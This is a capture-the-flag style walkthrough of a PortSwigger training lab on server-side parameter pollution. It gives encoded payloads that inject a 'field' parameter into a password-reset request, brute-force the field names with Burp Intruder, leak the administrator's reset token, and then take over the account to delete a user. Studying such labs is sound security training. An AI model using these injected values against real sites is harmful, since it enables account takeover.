Exploiting server-side parameter pollution in a query string

PortSwigger

Lab Description

To solve the lab, log in as the administrator and delete carlos.

---

---

Step 1: Trigger Password Reset

1. In Burp’s browser, trigger a password reset for administrator
2. In Burp Proxy, find the POST /forgot-password request
3. Send it to Repeater

---

Step 2: Test Parameter Pollution

Test with invalid username:

username=administratorx

• Invalid username error.

Inject a second parameter:

username=administrator%26x=y

Parameter is not supported error.

Truncate with #:

username=administrator%23

• Field not specified error.

This reveals a field parameter exists.

---

Step 3: Inject the field Parameter

Test with invalid field:

username=administrator%26field=x%23

Invalid field error.

---

Step 4: Brute-Force the Field Name

1. Send to Intruder
2. Set payload position:

username=administrator%26field=§x§%23

3. Use Server-side variable names payload list: Server-side variable names
4. Start the attack

Results:

• username ⇒ 200 OK
• email ⇒ 200 OK

---

Step 5: Leak the Reset Token

Change field to reset_token:

username=administrator%26field=reset_token%23

Response: Returns a password reset token.

• *Token leaked!

---

Step 6: Reset Administrator Password

1. Use the token in the browser:

/forgot-password?reset_token=LEAKED_TOKEN

2. Set a new password

Full_URL

https://0ab0009f0317fb288275d8f200a80088.web-security-academy.net/forgot-password?token=6rstxfsyn23kkxjxqxcxrrc8zfnrcvfk

---

Step 7: Log In and Delete Carlos

1. Log in as administrator with the new password

1. Go to the Admin panel

2. Delete carlos

---

Step 8: Lab Solved

---

---